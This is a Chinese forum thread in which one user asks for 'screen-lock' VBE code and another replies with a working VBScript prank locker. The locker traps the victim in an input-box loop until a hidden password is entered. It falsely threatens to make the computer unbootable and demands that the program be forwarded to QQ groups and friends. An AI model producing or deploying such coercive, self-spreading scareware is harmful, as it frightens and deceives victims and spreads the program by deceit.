vbe吧 关注:161贴子:491
  • 3回复贴,共1

求一个锁机VBE代码 求急用 谢谢大家了 给我一个

只看楼主收藏回复

求一个锁机VBE代码 求急用 谢谢大家了 给我一个


1楼2016-01-09 21:07回复
    dim a
    do while(a <> "chensisi")
    a = inputbox ("速度转发给五个QQ群或者20个QQ好友、完事联系QQ1927914090)不然你也别想关掉、重启就让你开不开机,让你电脑瘫痪,不信你试试"" ","加不加","对不起系统没有检测到你把软件发至五个群",8000,7000)
    msgbox chr(13) + chr(13) + chr(13) + a,0,"哈哈!关不掉的,快加。"
    loop
    msgbox chr(13) + chr(13) + chr(13) + "恭喜你解除成功,下次别在上当了"
    dim WSHshell
    set WSHshell = wscript.createobject("wscript.shell")
    WSHshell.run "cmd.exe /c shutdown -a",0 ,true
    msgbox chr(13) + chr(13) + chr(13) + "本软件由新世纪制作组制作"


    IP属地:浙江3楼2017-01-19 14:53
    回复
      密码什么


      IP属地:江苏来自手机贴吧4楼2017-06-28 18:55
      回复
        不知道,vbe没认真学


        5楼2020-01-20 13:36
        回复